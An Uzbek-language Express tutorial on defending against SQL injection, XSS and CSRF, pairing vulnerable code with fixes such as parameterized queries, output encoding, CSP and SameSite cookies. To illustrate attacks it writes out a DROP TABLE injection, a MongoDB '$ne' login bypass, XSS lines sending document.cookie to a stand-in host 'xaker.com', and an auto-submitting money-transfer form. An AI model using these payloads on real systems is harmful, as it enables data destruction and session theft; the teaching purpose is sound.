SQL Injection, XSS, CSRF — qanday himoyalanish

~20 daq · Express · Autentifikatsiya va Xavfsizlik

Muammodan boshlaylik

2009 yilda Heartland Payment Systems — AQShning eng katta to'lov kompaniyalaridan biri — buzildi. 130 million kredit karta ma'lumoti o'g'irlandi. Sabab? Bitta SQL injection zaiflik. Shunchaki qator kod.

Bu uchta hujum turi — SQL Injection, XSS, CSRF — OWASP Top 10 da yillar davomida birinchi o'rinlarda turibdi. Ular murakkab emas. Lekin ko'plab dasturchilar ularni tushunmay, noto'g'ri himoyalanadi.


1. SQL Injection

Bu nima?

SQL Injection — foydalanuvchi kiritgan ma'lumot SQL so'rovga "qo'shilganda" yuz beradi. Natijada tajovuzkor o'z SQL kodini ishga tushirishi mumkin.

Hayotiy o'xshatma

Tasavvur qiling: kutubxonaga kirishda qo'riqchi sizdan ismingizni so'raydi va ro'yxatdan qidiradi: "Abdulloh nomini qidir". Endi kimdir ismini shunday yozsa: Abdulloh'; DROP TABLE users; -- — va qo'riqchi buni aynan shu ko'rinishda tekshiruvga yubora. Butun ro'yxat yo'qoladi.

SQL Injection aynan shu: foydalanuvchining kiritgan matni SQL buyrug'ining bir qismiga aylanib ketadi.

Zaif kod qanday ko'rinadi

app.get('/users', async (req, res) => {
  const { name } = req.query;

  // ❌ TO'G'RIDAN-TO'G'RI QO'SHILGAN — XAVFLI
  const result = await pool.query(
    `SELECT * FROM users WHERE name = '${name}'`
  );

  res.json(result.rows);
});

Tajovuzkor quyidagini yuborsa nima bo'ladi?

GET /users?name=' OR '1'='1

SQL so'rov bunday ko'rinish oladi:

SELECT * FROM users WHERE name = '' OR '1'='1'

'1'='1' har doim true — barcha foydalanuvchilar qaytariladi. Yana xavfliroqi:

GET /users?name='; DROP TABLE users; --

Bu esa jadvalni butunlay o'chiradi.

Himoya: Parameterized Queries

app.get('/users', async (req, res) => {
  const { name } = req.query;

  // ✅ PARAMETR SIFATIDA — XAVFSIZ
  const result = await pool.query(
    'SELECT * FROM users WHERE name = $1', // ← $1 placeholder
    [name]                                  // ← qiymat alohida
  );

  res.json(result.rows);
});

Nima uchun bu xavfsiz? Chunki $1 va [name] — ikkita alohida narsa. Ma'lumotlar bazasi SQL strukturasini bir marta tahlil qiladi, keyin name qiymatini faqat ma'lumot sifatida qo'shadi. U hech qachon SQL buyrug'iga aylanmaydi.

Mongoose (MongoDB) da ham xavf bor

MongoDB SQL ishlatmaydi, lekin o'zining injection muammosi bor:

// ❌ XAVFLI — object to'g'ridan-to'g'ri qabul qilingan
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  const user = await User.findOne({ username, password }); // ← password object bo'lsa?
});

Tajovuzkor quyidagini yuborsa:

{ "username": "admin", "password": { "$ne": null } }

MongoDB so'rovi: password != null — bu har doim true, parolsiz kirish mumkin.

// ✅ XAVFSIZ — string ekanligini tekshirib oling
app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  if (typeof password !== 'string') {               // ← tip tekshiruvi
    return res.status(400).json({ error: 'Noto\'g\'ri format' });
  }

  const user = await User.findOne({ username });
  if (!user || !(await bcrypt.compare(password, user.password))) {
    return res.status(401).json({ error: 'Noto\'g\'ri ma\'lumotlar' });
  }

  res.json({ message: 'Kirish muvaffaqiyatli' });
});

2. XSS — Cross-Site Scripting

Bu nima?

XSS — tajovuzkorning JavaScript kodi boshqa foydalanuvchilarning brauzerida ishga tushishi. Natijada cookie o'g'irlash, sahifani boshqarish, fishing hujumlar.

Hayotiy o'xshatma

Tasavvur qiling: xabarnoma doskasi bor, har kim xabar qoldira oladi. Kimdir xabar o'rniga shunday yozadi:

<script>document.location='https://xaker.com?cookie='+document.cookie</script>

Agar sayt bu matnni HTML ga to'g'ridan-to'g'ri qo'ysa — boshqa foydalanuvchi sahifani ochganda uning cookie si o'g'irlanadi. Skript foydalanuvchining nomidan ishlaydi.

Stored XSS (saqlanadigan)

// ❌ XAVFLI — foydalanuvchi matni HTML ga qo'yilgan
app.get('/comments', async (req, res) => {
  const comments = await Comment.find();
  // Frontend da: <div>${comment.text}</div>
  res.json(comments);
});

Tajovuzkor kommentariya qoldiradi:

<script>fetch('https://xaker.com?c='+document.cookie)</script>

Bu kommentariya bazada saqlanadi. Har kim sahifani ochganda — skript ishlaydi.

Reflected XSS (qaytariladigan)

// ❌ XAVFLI — so'rov parametri HTML ga qo'yilgan
app.get('/search', (req, res) => {
  const { q } = req.query;
  res.send(`<h1>Qidiruv: ${q}</h1>`); // ← XSS
});

Havola: /search?q=<script>alert(1)</script> — bu havolani kimga yuborsangiz, ular brauzerida skript ishlaydi.

Himoya 1: Output Encoding

Frontend da React, Vue, Angular ishlatilsa — ular avtomatik ekranlaydi. Lekin server-side render yoki to'g'ridan-to'g'ri HTML qaytarilsa:

npm install he
const he = require('he'); // ← HTML encoding kutubxonasi

app.get('/search', (req, res) => {
  const { q } = req.query;
  const safe = he.encode(q); // ← <script> → &lt;script&gt;
  res.send(`<h1>Qidiruv: ${safe}</h1>`);
});

<script> → &lt;script&gt; — brauzer bu ni matn sifatida ko'rsatadi, kod sifatida emas.

Himoya 2: Content Security Policy (CSP)

Helmet orqali CSP sarlavhasini qo'shing:

const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],       // ← faqat o'z domenimizdan
    scriptSrc: ["'self'"],         // ← faqat o'z skriptlarimiz
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", "data:"],
  }
}));

Nima uchun CSP? Hatto XSS zaiflik bo'lsa ham, tashqi saytlarga ma'lumot yuborish blokirovka qilinadi. Ikkinchi qatlam himoya.

Himoya 3: httpOnly Cookie

res.cookie('token', jwtToken, {
  httpOnly: true,  // ← JavaScript dan o'qib bo'lmaydi
  secure: true,    // ← faqat HTTPS
  sameSite: 'strict'
});

Agar httpOnly: true bo'lsa — document.cookie orqali token o'qib bo'lmaydi. XSS hujum muvaffaqiyatli bo'lsa ham, cookie o'g'irlanmaydi.


3. CSRF — Cross-Site Request Forgery

Bu nima?

CSRF — boshqa sayt foydalanuvchi nomidan sizning serveringizga so'rov yuborishi. Foydalanuvchi login qilingan holda zararli sahifani ochsa — uning nomidan pul o'tkazish, parol o'zgartirish kabi amallar bajarilishi mumkin.

Hayotiy o'xshatma

Tasavvur qiling: bankda hisobingiz bor, siz login qilgansiz. Kimdir sizga elektron pochta orqali havola yubordi: "Bepul iPhone yuting!". Siz bosdingiz — ko'rinmas forma avtomatik to'ldirilib, bank saytiga pul o'tkazish so'rovi yuborildi. Bank serveriga cookie bilan to'g'ri so'rov keladi — u haqiqiy deb qabul qiladi.

Qanday ishlaydi

<!-- xaker.com saytida yashirin forma -->
<form action="https://sizningbank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000000">
  <input type="hidden" name="to" value="xaker_hisob">
</form>
<script>document.forms[0].submit();</script> <!-- ← avtomatik yuboriladi -->

Foydalanuvchi brauzerida bank cookie si bor — so'rov cookie bilan ketadi — bank qabul qiladi.

Himoya 1: SameSite Cookie

res.cookie('sessionId', sessionToken, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'  // ← boshqa saytdan cookie YUBORILMAYDI
});

sameSite: 'strict' — cookie faqat o'z domenimizdan so'rovlarda yuboriladi. Boshqa saytdan kelgan so'rovda cookie bo'lmaydi — server rad etadi.

sameSite: 'lax' — navigatsiya (GET) uchun ruxsat, lekin POST/PUT/DELETE uchun blok.

Himoya 2: CSRF Token

npm install csurf
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true }); // ← CSRF tokenni cookie da saqlash

// Token olish endpoint
app.get('/csrf-token', csrfProtection, (req, res) => {
  res.json({ csrfToken: req.csrfToken() }); // ← frontend uchun token
});

// Himoyalangan endpoint
app.post('/transfer', csrfProtection, (req, res) => {
  // Agar CSRF token to'g'ri bo'lmasa — csurf avtomatik 403 qaytaradi
  const { amount, to } = req.body;
  // ... pul o'tkazish
  res.json({ message: 'O\'tkazildi' });
});

Frontend har so'rovda X-CSRF-Token sarlavhasini yuboradi:

// Frontend (React/Vue/Vanilla JS)
const { csrfToken } = await fetch('/csrf-token').then(r => r.json());

await fetch('/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken     // ← token sarlavhada
  },
  body: JSON.stringify({ amount: 100, to: 'do\'st' })
});

Nima uchun bu ishlaydi? Xaker saytidan yuborilgan so'rovda bu token bo'lmaydi — chunki u sizning saytingizdan olinishi kerak, same-origin policy tufayli boshqa sayt uni o'qiy olmaydi.

Himoya 3: Origin/Referer tekshiruvi

app.use((req, res, next) => {
  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
    const origin = req.headers.origin || req.headers.referer;

    if (!origin || !origin.startsWith('https://sizningdomen.com')) {
      return res.status(403).json({ error: 'Ruxsatsiz manba' });
    }
  }
  next();
});

Hamma himoyani birga ishlatish

const express = require('express');
const helmet = require('helmet');
const csrf = require('csurf');
const he = require('he');

const app = express();

// 1. Helmet — xavfsizlik sarlavhalari (CSP, HSTS va boshqalar)
app.use(helmet());

// 2. JSON body parsing
app.use(express.json());

// 3. CSRF himoya (cookie yoki session asosida)
const csrfProtection = csrf({ cookie: { httpOnly: true, secure: true, sameSite: 'strict' } });
app.use(csrfProtection);

// 4. SQL Injection — parameterized queries (pg, mysql2, sequelize)
app.get('/products', async (req, res) => {
  const { category } = req.query;
  const result = await pool.query(
    'SELECT * FROM products WHERE category = $1', // ← placeholder
    [category]
  );
  res.json(result.rows);
});

// 5. XSS — output encoding (server-side render uchun)
app.get('/profile/:id', async (req, res) => {
  const user = await User.findById(req.params.id);
  const safeName = he.encode(user.name); // ← encoding
  res.send(`<h1>Salom, ${safeName}</h1>`);
});

// 6. Cookie — httpOnly, secure, sameSite
app.post('/login', async (req, res) => {
  // ... autentifikatsiya
  res.cookie('token', jwtToken, {
    httpOnly: true,   // ← JS dan o'qib bo'lmaydi
    secure: true,     // ← faqat HTTPS
    sameSite: 'strict' // ← CSRF himoya
  });
  res.json({ message: 'Kirish muvaffaqiyatli' });
});

Tez-tez uchraydigan xatolar

1. String concatenation bilan SQL so'rov tuzish

// ❌
const query = `SELECT * FROM users WHERE id = ${req.params.id}`;

Sababi: req.params.id = 1; DROP TABLE users; -- bo'lishi mumkin. Har doim parameterized queries ishlating.

2. XSS ni faqat frontendda hal qilaman deb o'ylash

// ❌ — server tarafida ham encoding zarur
res.send(`<div>${userContent}</div>`); // server-side render da xavfli

Sababi: frontend qoidalari bypass qilinishi mumkin. Xavf qayerda bo'lsa — u yerda himoya bo'lishi kerak. Server HTML qaytarsa — server ham encoding qilsin.

3. CSRF tokenini LocalStorage da saqlash

// ❌
localStorage.setItem('csrfToken', token);

Sababi: XSS bo'lsa LocalStorage o'qiladi, token o'g'irlanadi. CSRF token faqat server tomonidan boshqariladigan HttpOnly cookie da yoki DOM dan olingan qiymat sifatida ishlatilsin.

4. sameSite: 'none' + secure: false

// ❌
res.cookie('session', token, { sameSite: 'none' }); // secure bo'lmasa brauzer qabul qilmaydi

Sababi: sameSite: 'none' faqat secure: true bilan ishlaydi. Aks holda zamonaviy brauzerlar cookie ni butunlay rad etadi.

5. Faqat frontend validatsiya

// ❌ — faqat frontend da tekshirish
<input type="number" min="1" max="100"> // ← bu faqat UI himoya

Sababi: tajovuzkor brauzerdan o'tib, to'g'ridan-to'g'RI serverga so'rov yuborishi mumkin. Backend har doim o'z tekshiruvini qilishi kerak.


Xulosa

Hujum Sababi Himoya
SQL Injection User input SQL ga qo'shilishi Parameterized queries
XSS User content HTML ga qo'yilishi Output encoding, CSP, httpOnly
CSRF Cookie avtomatik yuborilishi SameSite cookie, CSRF token

Uchta qoida eslab qoling:

  1. Hech qachon user inputni to'g'ridan-to'g'RI SQL ga qo'shmang — har doim parametrlar ishlating.
  2. User kontentni HTMLga qo'yishdan oldin encoding qiling — React/Vue buni avtomatik qiladi.
  3. Cookie ni httpOnly, secure, sameSite: 'strict' bilan o'rnatng — bu uchta atribut birgalikda kuchli himoya beradi.

Keyingi dars: 31-dars: Environment Variables — dotenv, maxfiy ma'lumotlarni saqlash